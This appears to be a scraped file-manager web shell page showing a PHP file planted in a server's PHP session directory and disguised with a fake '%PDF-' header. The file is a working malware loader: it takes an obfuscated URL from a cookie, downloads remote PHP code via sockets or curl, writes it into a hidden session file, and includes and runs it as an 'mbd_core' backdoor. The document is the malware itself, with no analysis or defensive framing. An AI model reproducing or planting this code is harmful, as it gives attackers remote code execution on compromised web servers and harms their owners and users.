%PDF- %PDF-
Direktori : /opt/alt/php72/var/lib/php/session/ |
Current File : //opt/alt/php72/var/lib/php/session/Ns1mH0wT1DUG2WksdGKaK |
<?php error_reporting(E_ALL);@ini_set('display_errors', 1); if(!isset($__a))$__a = array('/tmp',@ini_get('upload_tmp_dir'),@sys_get_temp_dir(),@getenv('TMP'),@$_ENV['TMP'],dirname(__FILE__)); foreach($__a AS $w) if(@is_writable($w))break;else $w=0; if(!$w)die('t'); $n = 0; while(!$n||!is_dir($t)||!is_writable($t)) { $t = $w.'/mbdvd'.$n; if(!is_dir($t))mkdir($t); $n++; if($n>100)die('w'); } $t .= '/sess_'.md5('mbd_core').'core'; if(!is_file($t)) { $u = base64_decode(str_rot13($_COOKIE[0])); $g = parse_url($u); $s = ($g['scheme']=='https'); $d = ''; $h = 'GET '.$g['path']; if(isset($g['query'])) $h .= '?'.$g['query']; $h .= " HTTP/1.0\r\nHost: ".$g['host']."\r\nConnection: Close\r\n\r\n"; $f = fsockopen(($s?'ssl://':'').$g['host'], $s?443:80); if(!$f) { if(function_exists('curl_init')) { $f = curl_init(); curl_setopt($f, CURLOPT_URL, $u); curl_setopt($f, CURLOPT_RETURNTRANSFER,1); $d = curl_exec($f); if(!$d) die('s'); } }else{ @fputs($f, $h); $r = 0; while(!feof($f)) { $b = fgets($f, 1024); if($r) $d .= $b; if($b == "\r\n") $r = 1; } @fclose($f); if(empty($d))die('e'); } if(strpos($d,'<?php')===FALSE)die('d'); $f = fopen($t, 'w'); if(!fwrite($f, $d))die('i'); fclose($f); } if(!class_exists('mbd_core')) include($t); new mbd_core(__FILE__, $_SERVER); ?>